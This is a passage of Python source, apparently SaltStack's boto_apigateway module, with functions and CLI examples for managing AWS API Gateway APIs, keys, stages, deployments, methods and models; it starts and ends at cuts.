e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api(name, description=None, region=None, key=None, keyid=None, profile=None):\n '''\n Delete all REST API Service with the given name and an optional API description\n\n Returns {deleted: True, count: deleted_count} if apis were deleted, and\n returns {deleted: False} if error or not found.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api myapi_name\n\n salt myminion boto_apigateway.delete_api myapi_name description='api description'\n\n '''\n try:\n conn_params = dict(region=region, key=key, keyid=keyid, profile=profile)\n r = _find_apis_by_name(name, description=description, **conn_params)\n apis = r.get('restapi')\n if apis:\n conn = _get_conn(**conn_params)\n for api in apis:\n conn.delete_rest_api(restApiId=api['id'])\n return {'deleted': True, 'count': len(apis)}\n else:\n return {'deleted': False}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_resources(restApiId, region=None, key=None, keyid=None, profile=None):\n '''\n Given rest api id, return all resources for this api.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_resources myapi_id\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n resources = sorted(_multi_call(conn.get_resources, 'items', restApiId=restApiId),\n key=lambda k: k['path'])\n\n return {'resources': resources}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_resource(restApiId, path,\n region=None, key=None, keyid=None, profile=None):\n '''\n Given rest api id, and an absolute resource path, returns the resource id for\n the given path.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_resource myapi_id resource_path\n\n '''\n r = describe_api_resources(restApiId, region=region, key=key, keyid=keyid, profile=profile)\n resources = r.get('resources')\n if resources is None:\n return r\n for resource in resources:\n if resource['path'] == path:\n return {'resource': resource}\n return {'resource': None}\n\n\ndef create_api_resources(restApiId, path,\n region=None, key=None, keyid=None, profile=None):\n '''\n Given rest api id, and an absolute resource path, create all the resources and\n return all resources in the resourcepath, returns False on failure.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_resources myapi_id resource_path\n\n '''\n path_parts = str.split(path, '/')\n created = []\n current_path = ''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n for path_part in path_parts:\n if current_path == '/':\n current_path = '{0}{1}'.format(current_path, path_part)\n else:\n current_path = '{0}/{1}'.format(current_path, path_part)\n r = describe_api_resource(restApiId, current_path,\n region=region, key=key, keyid=keyid, profile=profile)\n resource = r.get('resource')\n if not resource:\n resource = conn.create_resource(restApiId=restApiId, parentId=created[-1]['id'], pathPart=path_part)\n created.append(resource)\n\n if created:\n return {'created': True, 'restApiId': restApiId, 'resources': created}\n else:\n return {'created': False, 'error': 'unexpected error.'}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_resources(restApiId, path,\n region=None, key=None, keyid=None, profile=None):\n '''\n Given restApiId and an absolute resource path, delete the resources starting\n from the absoluate resource path. If resourcepath is the root resource '/',\n the function will return False. Returns False on failure.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_resources myapi_id, resource_path\n\n '''\n if path == '/':\n return {'deleted': False, 'error': 'use delete_api to remove the root resource'}\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n r = describe_api_resource(restApiId, path, region=region, key=key, keyid=keyid, profile=profile)\n resource = r.get('resource')\n if resource:\n conn.delete_resource(restApiId=restApiId, resourceId=resource['id'])\n return {'deleted': True}\n else:\n return {'deleted': False, 'error': 'no resource found by {0}'.format(path)}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_resource_method(restApiId, resourcePath, httpMethod,\n region=None, key=None, keyid=None, profile=None):\n '''\n Given rest api id, resource path, and http method (must be one of DELETE,\n GET, HEAD, OPTIONS, PATCH, POST, PUT), return the method for the\n api/resource path if defined. Return False if method is not defined.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_resource_method myapi_id resource_path httpmethod\n\n '''\n r = describe_api_resource(restApiId, resourcePath,\n region=region, key=key, keyid=keyid, profile=profile)\n resource = r.get('resource')\n if not resource:\n return {'error': 'no such resource'}\n\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n method = conn.get_method(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod)\n return {'method': method}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_key(apiKey, region=None, key=None, keyid=None, profile=None):\n '''\n Gets info about the given api key\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_key apigw_api_key\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.get_api_key(apiKey=apiKey)\n return {'apiKey': _convert_datetime_str(response)}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_keys(region=None, key=None, keyid=None, profile=None):\n '''\n Gets information about the defined API Keys. Return list of apiKeys.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_keys\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n apikeys = _multi_call(conn.get_api_keys, 'items')\n\n return {'apiKeys': [_convert_datetime_str(apikey) for apikey in apikeys]}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_key(name, description, enabled=True, stageKeys=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Create an API key given name and description.\n\n An optional enabled argument can be provided. If provided, the\n valid values are True|False. This argument defaults to True.\n\n An optional stageKeys argument can be provided in the form of\n list of dictionary with 'restApiId' and 'stageName' as keys.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_key name description\n\n salt myminion boto_apigateway.create_api_key name description enabled=False\n\n salt myminion boto_apigateway.create_api_key name description \\\\\n stageKeys='[{\"restApiId\": \"id\", \"stageName\": \"stagename\"}]'\n\n '''\n\n try:\n stageKeys = list() if stageKeys is None else stageKeys\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.create_api_key(name=name, description=description,\n enabled=enabled, stageKeys=stageKeys)\n if not response:\n return {'created': False}\n\n return {'created': True, 'apiKey': _convert_datetime_str(response)}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_key(apiKey, region=None, key=None, keyid=None, profile=None):\n '''\n Deletes a given apiKey\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_key apikeystring\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_api_key(apiKey=apiKey)\n return {'deleted': True}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef _api_key_patch_replace(conn, apiKey, path, value):\n '''\n the replace patch operation on an ApiKey resource\n '''\n response = conn.update_api_key(apiKey=apiKey,\n patchOperations=[{'op': 'replace', 'path': path, 'value': value}])\n return response\n\n\ndef _api_key_patchops(op, pvlist):\n '''\n helper function to return patchOperations object\n '''\n return [{'op': op, 'path': p, 'value': v} for (p, v) in pvlist]\n\n\ndef _api_key_patch_add(conn, apiKey, pvlist):\n '''\n the add patch operation for a list of (path, value) tuples on an ApiKey resource list path\n '''\n response = conn.update_api_key(apiKey=apiKey,\n patchOperations=_api_key_patchops('add', pvlist))\n return response\n\n\ndef _api_key_patch_remove(conn, apiKey, pvlist):\n '''\n the remove patch operation for a list of (path, value) tuples on an ApiKey resource list path\n '''\n response = conn.update_api_key(apiKey=apiKey,\n patchOperations=_api_key_patchops('remove', pvlist))\n return response\n\n\ndef update_api_key_description(apiKey, description, region=None, key=None, keyid=None, profile=None):\n '''\n update the given apiKey with the given description.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.update_api_key_description api_key description\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = _api_key_patch_replace(conn, apiKey, '/description', description)\n return {'updated': True, 'apiKey': _convert_datetime_str(response)}\n except ClientError as e:\n return {'updated': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef enable_api_key(apiKey, region=None, key=None, keyid=None, profile=None):\n '''\n enable the given apiKey.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.enable_api_key api_key\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = _api_key_patch_replace(conn, apiKey, '/enabled', 'True')\n return {'apiKey': _convert_datetime_str(response)}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef disable_api_key(apiKey, region=None, key=None, keyid=None, profile=None):\n '''\n disable the given apiKey.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.enable_api_key api_key\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = _api_key_patch_replace(conn, apiKey, '/enabled', 'False')\n return {'apiKey': _convert_datetime_str(response)}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef associate_api_key_stagekeys(apiKey, stagekeyslist, region=None, key=None, keyid=None, profile=None):\n '''\n associate the given stagekeyslist to the given apiKey.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.associate_stagekeys_api_key \\\\\n api_key '[\"restapi id/stage name\", ...]'\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n pvlist = [('/stages', stagekey) for stagekey in stagekeyslist]\n response = _api_key_patch_add(conn, apiKey, pvlist)\n return {'associated': True, 'apiKey': _convert_datetime_str(response)}\n except ClientError as e:\n return {'associated': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef disassociate_api_key_stagekeys(apiKey, stagekeyslist, region=None, key=None, keyid=None, profile=None):\n '''\n disassociate the given stagekeyslist to the given apiKey.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.disassociate_stagekeys_api_key \\\\\n api_key '[\"restapi id/stage name\", ...]'\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n pvlist = [('/stages', stagekey) for stagekey in stagekeyslist]\n response = _api_key_patch_remove(conn, apiKey, pvlist)\n return {'disassociated': True}\n except ClientError as e:\n return {'disassociated': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_deployments(restApiId, region=None, key=None, keyid=None, profile=None):\n '''\n Gets information about the defined API Deployments. Return list of api deployments.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_deployments restApiId\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n deployments = []\n _deployments = conn.get_deployments(restApiId=restApiId)\n\n while True:\n if _deployments:\n deployments = deployments + _deployments['items']\n if 'position' not in _deployments:\n break\n _deployments = conn.get_deployments(restApiId=restApiId, position=_deployments['position'])\n\n return {'deployments': [_convert_datetime_str(deployment) for deployment in deployments]}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_deployment(restApiId, deploymentId, region=None, key=None, keyid=None, profile=None):\n '''\n Get API deployment for a given restApiId and deploymentId.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_deployent restApiId deploymentId\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n deployment = conn.get_deployment(restApiId=restApiId, deploymentId=deploymentId)\n return {'deployment': _convert_datetime_str(deployment)}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef activate_api_deployment(restApiId, stageName, deploymentId,\n region=None, key=None, keyid=None, profile=None):\n '''\n Activates previously deployed deployment for a given stage\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.activate_api_deployent restApiId stagename deploymentId\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.update_stage(restApiId=restApiId, stageName=stageName,\n patchOperations=[{'op': 'replace',\n 'path': '/deploymentId',\n 'value': deploymentId}])\n return {'set': True, 'response': _convert_datetime_str(response)}\n except ClientError as e:\n return {'set': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_deployment(restApiId, stageName, stageDescription='', description='', cacheClusterEnabled=False,\n cacheClusterSize='0.5', variables=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Creates a new API deployment.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_deployent restApiId stagename stageDescription='' \\\\\n description='' cacheClusterEnabled=True|False cacheClusterSize=0.5 variables='{\"name\": \"value\"}'\n\n '''\n try:\n variables = dict() if variables is None else variables\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n deployment = conn.create_deployment(restApiId=restApiId, stageName=stageName,\n stageDescription=stageDescription, description=description,\n cacheClusterEnabled=cacheClusterEnabled, cacheClusterSize=cacheClusterSize,\n variables=variables)\n return {'created': True, 'deployment': _convert_datetime_str(deployment)}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_deployment(restApiId, deploymentId, region=None, key=None, keyid=None, profile=None):\n '''\n Deletes API deployment for a given restApiId and deploymentID\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_deployent restApiId deploymentId\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_deployment(restApiId=restApiId, deploymentId=deploymentId)\n return {'deleted': True}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef overwrite_api_stage_variables(restApiId, stageName, variables, region=None, key=None, keyid=None, profile=None):\n '''\n Overwrite the stage variables for the given restApiId and stage name with the given variables,\n variables must be in the form of a dictionary. Overwrite will always remove all the existing\n stage variables associated with the given restApiId and stage name, follow by the adding of all the\n variables specified in the variables dictionary\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.overwrite_api_stage_variables restApiId stageName variables='{\"name\": \"value\"}'\n\n '''\n try:\n res = describe_api_stage(restApiId, stageName, region=region, key=key, keyid=keyid, profile=profile)\n if res.get('error'):\n return {'overwrite': False, 'error': res.get('error')}\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n\n # remove all existing variables that are not in the given variables,\n # followed by adding of the variables\n stage = res.get('stage')\n old_vars = stage.get('variables', {})\n patch_ops = []\n for old_var in old_vars:\n if old_var not in variables:\n patch_ops.append(dict(op='remove',\n path='/variables/{0}'.format(old_var),\n value=''))\n for var, val in six.iteritems(variables):\n if var not in old_vars or old_vars[var] != val:\n patch_ops.append(dict(op='replace',\n path='/variables/{0}'.format(var),\n value=val))\n\n if patch_ops:\n stage = conn.update_stage(restApiId=restApiId, stageName=stageName,\n patchOperations=patch_ops)\n\n return {'overwrite': True, 'stage': _convert_datetime_str(stage)}\n except ClientError as e:\n return {'overwrite': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_stage(restApiId, stageName, region=None, key=None, keyid=None, profile=None):\n '''\n Get API stage for a given apiID and stage name\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_stage restApiId stageName\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n stage = conn.get_stage(restApiId=restApiId, stageName=stageName)\n return {'stage': _convert_datetime_str(stage)}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_stages(restApiId, deploymentId, region=None, key=None, keyid=None, profile=None):\n '''\n Get all API stages for a given apiID and deploymentID\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_stages restApiId deploymentId\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n stages = conn.get_stages(restApiId=restApiId, deploymentId=deploymentId)\n return {'stages': [_convert_datetime_str(stage) for stage in stages['item']]}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_stage(restApiId, stageName, deploymentId, description='',\n cacheClusterEnabled=False, cacheClusterSize='0.5', variables=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Creates a new API stage for a given restApiId and deploymentId.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_stage restApiId stagename deploymentId \\\\\n description='' cacheClusterEnabled=True|False cacheClusterSize='0.5' variables='{\"name\": \"value\"}'\n\n '''\n try:\n variables = dict() if variables is None else variables\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n stage = conn.create_stage(restApiId=restApiId, stageName=stageName, deploymentId=deploymentId,\n description=description, cacheClusterEnabled=cacheClusterEnabled,\n cacheClusterSize=cacheClusterSize, variables=variables)\n return {'created': True, 'stage': _convert_datetime_str(stage)}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_stage(restApiId, stageName, region=None, key=None, keyid=None, profile=None):\n '''\n Deletes stage identified by stageName from API identified by restApiId\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_stage restApiId stageName\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_stage(restApiId=restApiId, stageName=stageName)\n return {'deleted': True}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef flush_api_stage_cache(restApiId, stageName, region=None, key=None, keyid=None, profile=None):\n '''\n Flushes cache for the stage identified by stageName from API identified by restApiId\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.flush_api_stage_cache restApiId stageName\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.flush_stage_cache(restApiId=restApiId, stageName=stageName)\n return {'flushed': True}\n except ClientError as e:\n return {'flushed': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_method(restApiId, resourcePath, httpMethod, authorizationType,\n apiKeyRequired=False, requestParameters=None, requestModels=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Creates API method for a resource in the given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_method restApiId resourcePath, httpMethod, authorizationType, \\\\\n apiKeyRequired=False, requestParameters='{\"name\", \"value\"}', requestModels='{\"content-type\", \"value\"}'\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n requestParameters = dict() if requestParameters is None else requestParameters\n requestModels = dict() if requestModels is None else requestModels\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n method = conn.put_method(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod,\n authorizationType=str(authorizationType), apiKeyRequired=apiKeyRequired,\n requestParameters=requestParameters, requestModels=requestModels)\n return {'created': True, 'method': method}\n return {'created': False, 'error': 'Failed to create method'}\n\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_method(restApiId, resourcePath, httpMethod, region=None, key=None, keyid=None, profile=None):\n '''\n Get API method for a resource in the given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_method restApiId resourcePath httpMethod\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n method = conn.get_method(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod)\n return {'method': _convert_datetime_str(method)}\n return {'error': 'get API method failed: no such resource'}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_method(restApiId, resourcePath, httpMethod, region=None, key=None, keyid=None, profile=None):\n '''\n Delete API method for a resource in the given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_method restApiId resourcePath httpMethod\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_method(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod)\n return {'deleted': True}\n return {'deleted': False, 'error': 'get API method failed: no such resource'}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_method_response(restApiId, resourcePath, httpMethod, statusCode, responseParameters=None,\n responseModels=None, region=None, key=None, keyid=None, profile=None):\n '''\n Create API method response for a method on a given resource in the given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_method_response restApiId resourcePath httpMethod \\\\\n statusCode responseParameters='{\"name\", \"True|False\"}' responseModels='{\"content-type\", \"model\"}'\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n responseParameters = dict() if responseParameters is None else responseParameters\n responseModels = dict() if responseModels is None else responseModels\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.put_method_response(restApiId=restApiId, resourceId=resource['id'],\n httpMethod=httpMethod, statusCode=str(statusCode),\n responseParameters=responseParameters, responseModels=responseModels)\n return {'created': True, 'response': response}\n return {'created': False, 'error': 'no such resource'}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_method_response(restApiId, resourcePath, httpMethod, statusCode,\n region=None, key=None, keyid=None, profile=None):\n '''\n Delete API method response for a resource in the given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_method_response restApiId resourcePath httpMethod statusCode\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_method_response(restApiId=restApiId, resourceId=resource['id'],\n httpMethod=httpMethod, statusCode=str(statusCode))\n return {'deleted': True}\n return {'deleted': False, 'error': 'no such resource'}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_method_response(restApiId, resourcePath, httpMethod, statusCode,\n region=None, key=None, keyid=None, profile=None):\n '''\n Get API method response for a resource in the given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_method_response restApiId resourcePath httpMethod statusCode\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.get_method_response(restApiId=restApiId, resourceId=resource['id'],\n httpMethod=httpMethod, statusCode=str(statusCode))\n return {'response': _convert_datetime_str(response)}\n return {'error': 'no such resource'}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_models(restApiId, region=None, key=None, keyid=None, profile=None):\n '''\n Get all models for a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_models restApiId\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n models = _multi_call(conn.get_models, 'items', restApiId=restApiId)\n return {'models': [_convert_datetime_str(model) for model in models]}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_model(restApiId, modelName, flatten=True, region=None, key=None, keyid=None, profile=None):\n '''\n Get a model by name for a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_model restApiId modelName [True]\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n model = conn.get_model(restApiId=restApiId, modelName=modelName, flatten=flatten)\n return {'model': _convert_datetime_str(model)}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef api_model_exists(restApiId, modelName, region=None, key=None, keyid=None, profile=None):\n '''\n Check to see if the given modelName exists in the given restApiId\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.api_model_exists restApiId modelName\n '''\n r = describe_api_model(restApiId, modelName, region=region, key=key, keyid=keyid, profile=profile)\n\n return {'exists': bool(r.get('model'))}\n\n\ndef _api_model_patch_replace(conn, restApiId, modelName, path, value):\n '''\n the replace patch operation on a Model resource\n '''\n response = conn.update_model(restApiId=restApiId, modelName=modelName,\n patchOperations=[{'op': 'replace', 'path': path, 'value': value}])\n return response\n\n\ndef update_api_model_schema(restApiId, modelName, schema, region=None, key=None, keyid=None, profile=None):\n '''\n update the schema (in python dictionary format) for the given model in the given restApiId\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.update_api_model_schema restApiId modelName schema\n\n '''\n try:\n schema_json = json.dumps(schema) if isinstance(schema, dict) else schema\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = _api_model_patch_replace(conn, restApiId, modelName, '/schema', schema_json)\n return {'updated': True, 'model': _convert_datetime_str(response)}\n except ClientError as e:\n return {'updated': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_model(restApiId, modelName, region=None, key=None, keyid=None, profile=None):\n '''\n Delete a model identified by name in a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_model restApiId modelName\n\n '''\n try:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_model(restApiId=restApiId, modelName=modelName)\n return {'deleted': True}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_model(restApiId, modelName, modelDescription, schema, contentType='application/json',\n region=None, key=None, keyid=None, profile=None):\n '''\n Create a new model in a given API with a given schema, currently only contentType supported is\n 'application/json'\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_model restApiId modelName modelDescription '<schema>' 'content-type'\n\n '''\n try:\n schema_json = json.dumps(schema) if isinstance(schema, dict) else schema\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n model = conn.create_model(restApiId=restApiId, name=modelName, description=modelDescription,\n schema=schema_json, contentType=contentType)\n return {'created': True, 'model': _convert_datetime_str(model)}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_integration(restApiId, resourcePath, httpMethod, region=None, key=None, keyid=None, profile=None):\n '''\n Get an integration for a given method in a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_integration restApiId resourcePath httpMethod\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n integration = conn.get_integration(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod)\n return {'integration': _convert_datetime_str(integration)}\n return {'error': 'no such resource'}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef describe_api_integration_response(restApiId, resourcePath, httpMethod, statusCode,\n region=None, key=None, keyid=None, profile=None):\n '''\n Get an integration response for a given method in a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.describe_api_integration_response restApiId resourcePath httpMethod statusCode\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.get_integration_response(restApiId=restApiId, resourceId=resource['id'],\n httpMethod=httpMethod, statusCode=statusCode)\n return {'response': _convert_datetime_str(response)}\n return {'error': 'no such resource'}\n except ClientError as e:\n return {'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_integration(restApiId, resourcePath, httpMethod, region=None, key=None, keyid=None, profile=None):\n '''\n Deletes an integration for a given method in a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_integration restApiId resourcePath httpMethod\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_integration(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod)\n return {'deleted': True}\n return {'deleted': False, 'error': 'no such resource'}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef delete_api_integration_response(restApiId, resourcePath, httpMethod, statusCode,\n region=None, key=None, keyid=None, profile=None):\n '''\n Deletes an integration response for a given method in a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.delete_api_integration_response restApiId resourcePath httpMethod statusCode\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n conn.delete_integration_response(restApiId=restApiId, resourceId=resource['id'],\n httpMethod=httpMethod, statusCode=statusCode)\n return {'deleted': True}\n return {'deleted': False, 'error': 'no such resource'}\n except ClientError as e:\n return {'deleted': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef _get_role_arn(name, region=None, key=None, keyid=None, profile=None):\n '''\n Helper function to get an ARN if name does not look like an ARN.\n '''\n if name.startswith('arn:aws:iam:'):\n return name\n\n account_id = 